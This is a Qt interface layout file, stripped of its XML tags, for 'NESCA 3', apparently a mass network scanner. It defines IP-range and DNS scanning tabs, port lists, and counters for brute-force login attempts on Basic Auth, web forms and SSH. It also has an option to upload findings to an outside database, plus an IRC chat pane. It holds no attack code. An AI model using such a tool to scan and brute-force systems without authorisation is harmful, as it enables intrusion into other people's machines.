+ 0 + + + + + + + + + + + 16 + 16 + 16 + + + + + 0 + 0 + 0 + + + + + + + + + + Qt::NoFocus + + + background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255)) + + + + true + + + + 10 + 50 + 481 + 161 + + + + + Eurostile + + + + border: 0.4px solid #818181;background-color: rgba(2, 2, 2, 0); + + + QTabWidget::North + + + QTabWidget::Rounded + + + 0 + + + Qt::ElideMiddle + + + false + + + true + + + false + + + false + + + + IP Scan + + + + + 190 + 110 + 75 + 23 + + + + + Eurostile + + + + + + + Start + + + + + + 110 + 20 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 1.1.1.1-255.255.255.255 + + + 31 + + + Qt::AlignCenter + + + 000.000.000.000-255.255.255.255 + + + + + + 110 + 50 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 80,81,88,8080,8081,60002,8008,8888,441,4111,6667,3536,22,21 + + + 4096 + + + 80,81,8080,8888,21,6667,7000 + + + + + + 110 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 200 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 40 + 20 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + IP RANGE + + + + + + 54 + 50 + 34 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PORTS + + + + + + 40 + 80 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + THREADS + + + + + + 220 + 80 + 46 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + TIMEOUT + + + + + + 280 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 3 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 337 + 52 + 67 + 16 + + + + + Eurostile + + + + Restore default ports + + + Restore default ports + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Default ports + + + + + + DNS Scan + + + + + 110 + 20 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + $a$a$a$a + + + 128 + + + Qt::AlignCenter + + + Mask here ($a$a$a$a) + + + + + + 190 + 110 + 75 + 23 + + + + + Eurostile + + + + + + + Start + + + + + + 340 + 20 + 71 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + .mobi + + + 128 + + + Qt::AlignCenter + + + .mobi + + + + + + 110 + 50 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 80,81,88,8080,8081,60002,8008,8888,441,4111,6667,3536,22,21 + + + 4096 + + + 80,81,8080,8888,21,6667,7000 + + + + + + 110 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 30 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 30 + 20 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + DNS RANGE + + + + + + 54 + 50 + 34 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PORTS + + + + + + 40 + 80 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + THREADS + + + + + + 220 + 80 + 46 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + TIMEOUT + + + + + + 280 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 2 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 337 + 52 + 67 + 16 + + + + + Eurostile + + + + Restore default ports + + + Restore default ports + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Default ports + + + + + + Import + + + + + 190 + 110 + 75 + 23 + + + + + Eurostile + + + + + + + Import&&Scan + + + + + + 110 + 0 + 253 + 37 + + + + + Eurostile + 8 + 50 + false + false + false + + + + background-color: rgba(2, 2, 2, 0); +color: rgb(214, 214, 0); + + + Please, read about the import file in do_not_read.txt. + + + + + + 110 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 200 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 110 + 50 + 221 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); + + + 80,81,88,8080,8081,60002,8008,8888,441,4111,6667,3536,22,21 + + + 80,81,8080,8888,21,6667,7000 + + + + + + 40 + 80 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + THREADS + + + + + + 54 + 50 + 33 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PORTS + + + + + + 220 + 80 + 46 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + TIMEOUT + + + + + + 280 + 80 + 51 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 3 + + + 3 + + + Qt::AlignCenter + + + 100 + + + + + + 337 + 52 + 67 + 16 + + + + + Eurostile + + + + Restore default ports + + + Restore default ports + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Default ports + + + + + + 437 + 20 + 26 + 102 + + + + background-color:rgb(38, 38, 38); +border: 1px solid rgb(227, 227, 227); +border-radius: 3px; + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + + NS-Track + + + + + 30 + 90 + 208 + 17 + + + + + Eurostile + + + + d3w.org database (NDB) collects all found sites for structuring and further analysis. + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + Send results to NescaDatabase + + + true + + + + + + 250 + 30 + 121 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + /go/ + + + 256 + + + Qt::AlignCenter + + + Balancer script + + + + + + 30 + 30 + 211 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + balancer.d3w.org + + + 256 + + + Qt::AlignCenter + + + Balancer url + + + + + + 30 + 60 + 341 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56); border:none; + + + + + + 32 + + + Qt::AlignCenter + + + Your personal key here + + + + + + 379 + 30 + 62 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:none; + + + 80 + + + 5 + + + Qt::AlignCenter + + + Balancer port here + + + + + + 380 + 60 + 61 + 23 + + + + + Eurostile + + + + + + + Check key + + + + + + 30 + 110 + 276 + 17 + + + + + Eurostile + + + + + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + [DEBUG] Write main output to file "./logs/output.txt" + + + false + + + + + + + + 95 + 10 + 306 + 20 + + + + + Eurostile + 75 + true + false + + + + true + + + true + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + NESCA 3 :: Revealing the Unseen Horizon + + + Qt::PlainText + + + Qt::AlignCenter + + + true + + + + + Qt::NonModal + + + + 10 + 30 + 480 + 16 + + + + false + + + color: white;background-color: rgba(2, 2, 2, 0); + + + QFrame::Plain + + + Qt::Horizontal + + + + + + 470 + 10 + 10 + 20 + + + + background-color: rgba(0, 0, 0, 0); + + + X + + + + + + 20 + 230 + 61 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + Qt::LeftToRight + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Current IP: + + + + + + 20 + 260 + 61 + 20 + + + + + Eurostile + 8 + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Threads: + + + + + + 20 + 290 + 71 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Brute threads: + + + + + + 100 + 230 + 331 + 20 + + + + + 0 + 0 + + + + + Eurostile + + + + false + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + -- + + + + + + 100 + 260 + 81 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216); background-color: rgba(2, 2, 2, 0); + + + 0/0 + + + + + + 100 + 290 + 61 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + + 20 + 350 + 61 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + IP/s: + + + + + + 100 + 350 + 106 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + + 20 + 445 + 451 + 326 + + + + + Consolas + PreferDefault + + + + background-color: rgb(26, 26,26); border: 1px solid white; + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Consolas'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-family:'MS Shell Dlg 2'; font-size:8pt;"><br /></p></body></html> + + + 5 + + + Qt::TextBrowserInteraction + + + true + + + false + + + + + + 20 + 375 + 73 + 20 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Saved/Filtered: + + + false + + + + + + 100 + 375 + 108 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0/0 + + + + + + 11 + 783 + 41 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Status: + + + false + + + + + + 51 + 783 + 101 + 10 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Idle + + + + + + 20 + 320 + 61 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Targets: + + + + + + 100 + 320 + 114 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + Qt::NonModal + + + + 10 + 210 + 480 + 16 + + + + false + + + color: white;background-color: rgba(2, 2, 2, 0); + + + QFrame::Plain + + + Qt::Horizontal + + + + + + 220 + 265 + 270 + 100 + + + + background-color: rgb(26, 26,26); border: 1px solid white; + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + true + + + + 235 + 370 + 8 + 5 + + + + background-color: red; visible: false; + + + + + + + + + 235 + 400 + 8 + 5 + + + + background-color: #52b4e5; + + + + + + + + + 370 + 370 + 8 + 5 + + + + background-color: green; + + + + + + + + + 235 + 385 + 8 + 5 + + + + background-color: blue; + + + + + + + + + 370 + 385 + 8 + 5 + + + + background-color: rgb(255, 85, 0); + + + + + + + + + 370 + 400 + 8 + 5 + + + + background-color: violet; + + + + + + + + + 250 + 368 + 91 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + Qt::RightToLeft + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Anomalies + + + Qt::AutoText + + + Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter + + + + + + 250 + 383 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Basic Auth + + + + + + 385 + 383 + 51 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Suspicious + + + + + + 385 + 368 + 91 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + WebForms + + + + + + 250 + 398 + 51 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Overloads + + + + + + 385 + 398 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Lowloads + + + + + + 11 + 10 + 21 + 20 + + + + border:none; background-color:black; + + + + + + + :/nesca_3/Z:/nesca.ico:/nesca_3/Z:/nesca.ico + + + + + + 370 + 415 + 8 + 5 + + + + background-color: white; + + + + + + + + + 385 + 413 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + Alive + + + + + + 220 + 265 + 270 + 100 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 220 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :ME2 mode + + + + + + 281 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80); + + + :QoS mode + + + + + + 220 + 265 + 270 + 100 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + + + + 220 + 265 + 270 + 100 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 19 + 405 + 73 + 20 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Offline: + + + false + + + + + + 100 + 405 + 71 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0 + + + + + + 20 + 445 + 451 + 326 + + + + + Eurostile + + + + background-color: rgb(26, 26,26); color:rgb(83, 83, 83);border: 1px solid white; + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> + + + 5 + + + Qt::LinksAccessibleByKeyboard|Qt::LinksAccessibleByMouse|Qt::TextBrowserInteraction|Qt::TextSelectableByKeyboard|Qt::TextSelectableByMouse + + + true + + + + + + 480 + 500 + 16 + 205 + + + + Brute activity + + + Brute activity + + + border: 1px solid rgb(216, 216, 216); +color: rgb(216, 216, 216); +background-color: #000000; + + + < + + + + + + 390 + 50 + 48 + 16 + + + + + Eurostile + + + + Netstalker IRC Messenger + + + Netstalker IRC Messenger + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :NS-IRC + + + + + + 200 + 783 + 41 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Activity: + + + false + + + + + + 247 + 783 + 116 + 10 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 0b + + + + + + 373 + 780 + 100 + 16 + + + + border:1px solid white;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 373 + 780 + 100 + 16 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::Antialiasing|QPainter::HighQualityAntialiasing|QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 162 + 265 + 328 + 181 + + + + border:none;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::HighQualityAntialiasing + + + QGraphicsView::CacheNone + + + + + + 342 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80); + + + :Voice mode + + + + + + 220 + 265 + 270 + 100 + + + + border:1px white solid;background-color: rgba(26, 26,26, 0); + + + Qt::ScrollBarAlwaysOff + + + Qt::ScrollBarAlwaysOff + + + QPainter::TextAntialiasing + + + QGraphicsView::CacheNone + + + + + + 472 + 445 + 16 + 21 + + + + + 7 + + + + Clear logs + + + Clear logs + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + X + + + + + + 440 + 50 + 48 + 16 + + + + + Eurostile + + + + Online datastream + + + Online datastream + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Dataflow + + + + + + 415 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 420 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 425 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 430 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 435 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 440 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 445 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 450 + 0 + 5 + 8 + + + + border: 0.5px solid #313131; background-color:qlineargradient(spread:pad, x1:0.511, y1:0.477727, x2:0.512, y2:0, stop:0 rgba(0, 0, 0, 255), stop:0.0113636 rgba(83, 83, 83, 255), stop:0.0568182 rgba(98, 98, 98, 255), stop:0.0625 rgba(167, 0, 0, 255), stop:1 rgba(255, 0, 0, 255)) + + + + + + + + + 300 + 53 + 70 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0); + + + 1 + + + New message + + + false + + + + + + 403 + 253 + 60 + 10 + + + + + 7 + + + + color: rgb(130, 130, 130);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(130, 130, 130, 80); + + + :Pie statistics + + + + + + 455 + 10 + 10 + 20 + + + + background-color: rgba(0, 0, 0, 0); + + + _ + + + + + + 235 + 417 + 8 + 5 + + + + background-color: rgb(85, 0, 0); + + + + + + + + + 250 + 415 + 61 + 8 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + SSH + + + + + true + + + + 36 + 15 + 86 + 10 + + + + + 0 + 0 + + + + + 0 + 0 + + + + + Eurostile + + + + color:rgb(255, 0, 0);background-color: rgba(2, 2, 2, 0); + + + 1 + + + Outdated version + + + false + + + graphicTextPlacer + BAText + labelNesca_3 + tabMainWidget + line + exitButton + labelIpRange + labelThreads + labelBaThreads + labelIpRange_Value + labelThreads_Value + labelBAThreads_Value + labelIPS + labelIPS_Value + dataText + labelParsed + labelParsed_Value + labelStatus + labelStatus_Value + labelTargetsLeft + labelTargetsLeft_Value + line_2 + RedLabel + YellowLabel + GreenLabel + BlueLabel + CyanLabel + PinkLabel + labelAnomaly + labelBA + labelFiltered + labelBads + labelOverloads + labelLowloads + graphicLog + logoLabel + WhiteLabel + labelAlives + me2ScanBut + QoSScanBut + graphicDelim + graphicLog_2 + graphicLog_Upper + labelBadAddr + labelOffline_Value + switcherBut + IRCModeBut + labelActivity + labelActivity_Value + graphicActivityGrid + graphicActivity + VoiceScanBut + graphicsVoice + clearLogBut + DataflowModeBut + secretMessageBut_1 + secretMessageBut_2 + secretMessageBut_3 + secretMessageBut_4 + secretMessageBut_5 + secretMessageBut_6 + secretMessageBut_7 + secretMessageBut_8 + newMessageLabel + PieStatBut + trayButton + DredLabel + labelSSH + rVerLabel + + + + + 500 + 44 + 500 + 730 + + + + background-color:qlineargradient(spread:pad, x1:0.541, y1:0.500364, x2:0.54, y2:0, stop:0 rgba(16, 16, 16, 255), stop:1 rgba(0, 0, 0, 255));border: none; + + + + + 390 + 6 + 48 + 16 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :NS-Scan + + + + + + 83 + 30 + 163 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + addr.ne.jp + + + 128 + + + Qt::AlignCenter + + + IRC server here + + + + + + 10 + 705 + 469 + 20 + + + + + Eurostile + + + + + + + color:rgb(124, 124, 124);background-color: rgb(36, 36, 36);border:1px solid rgb(226, 226, 226); + + + + + + 256 + + + Qt::AlignLeading|Qt::AlignLeft|Qt::AlignVCenter + + + + + + + + + 250 + 30 + 82 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + 6667 + + + 5 + + + Qt::AlignCenter + + + IRC port here + + + + + + 369 + 30 + 117 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + + + + 16 + + + Qt::AlignCenter + + + Your nick here + + + + + + 220 + 85 + 75 + 23 + + + + + Eurostile + + + + + + + Connect + + + + + + 10 + 140 + 469 + 556 + + + + + Eurostile + + + + color: #AFAFAF;background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221); + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:0px; margin-bottom:0px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> + + + true + + + 5 + + + Qt::TextBrowserInteraction + + + true + + + false + + + + + + 83 + 55 + 163 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + + + + 128 + + + Qt::AlignCenter + + + Proxy here + + + + + + 250 + 55 + 82 + 20 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgb(56, 56, 56);border:1px solid rgb(221, 221, 221); + + + + + + 5 + + + Qt::AlignCenter + + + Proxy port here + + + + + + 337 + 55 + 149 + 20 + + + + + Eurostile + + + + + + + Check proxy + + + + + + 340 + 6 + 48 + 16 + + + + + Eurostile + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :IRC raw + + + + + + 10 + 140 + 469 + 556 + + + + + Eurostile + + + + background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:rgb(125, 125, 125); + + + + + + QFrame::NoFrame + + + QFrame::Plain + + + false + + + true + + + <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN" "http://www.w3.org/TR/REC-html40/strict.dtd"> +<html><head><meta name="qrichtext" content="1" /><style type="text/css"> +p, li { white-space: pre-wrap; } +</style></head><body style=" font-family:'Eurostile'; font-size:8.25pt; font-weight:400; font-style:normal;"> +<p style="-qt-paragraph-type:empty; margin-top:2px; margin-bottom:2px; margin-left:0px; margin-right:0px; -qt-block-indent:0; text-indent:0px; font-size:8pt;"><br /></p></body></html> + + + true + + + 5 + + + Qt::TextBrowserInteraction + + + true + + + false + + + + + + 440 + 6 + 48 + 16 + + + + + Eurostile + + + + Anomaly map + + + Online datastream + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); + + + :Dataflow + + + + + + 481 + 140 + 16 + 556 + + + + Stalkers online + + + Stalkers online + + + border: 1px solid rgb(216, 216, 216); +color: rgb(216, 216, 216); +background-color: #000000; + + + < + + + + + + 329 + 145 + 147 + 0 + + + + background-color: rgba(0, 0, 0, 0.5); +color: rgb(212, 212, 212); + + + QFrame::Panel + + + QFrame::Plain + + + QListView::Adjust + + + true + + + + + + 44 + 115 + 435 + 20 + + + + + 7 + + + + background-color: rgb(26, 26,26);border:1px solid rgb(221, 221, 221);color:orange; + + + + + + 256 + + + + + + 440 + 80 + 48 + 12 + + + + + Eurostile + + + + Codepage + + + Codepage + + + background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(0, 214, 0, 40); +color: rgb(0, 214, 0); + + + UTF-8 + + + + + + 392 + 80 + 48 + 12 + + + + + Eurostile + + + + Codepage + + + Codepage + + + background-color: rgba(2, 2, 2, 0);border: 1px solid rgba(255, 255, 255, 40); +color: rgb(71, 71, 71); + + + CP-1251 + + + + + + 20 + 30 + 56 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + IRC SERVER + + + + + + 10 + 55 + 68 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + PROXY&PORT + + + + + + 340 + 30 + 27 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + NICK + + + + + + 10 + 115 + 31 + 20 + + + + + Eurostile + 8 + 50 + false + false + false + + + + color: rgb(216, 216, 216);background-color: rgba(2, 2, 2, 0); + + + 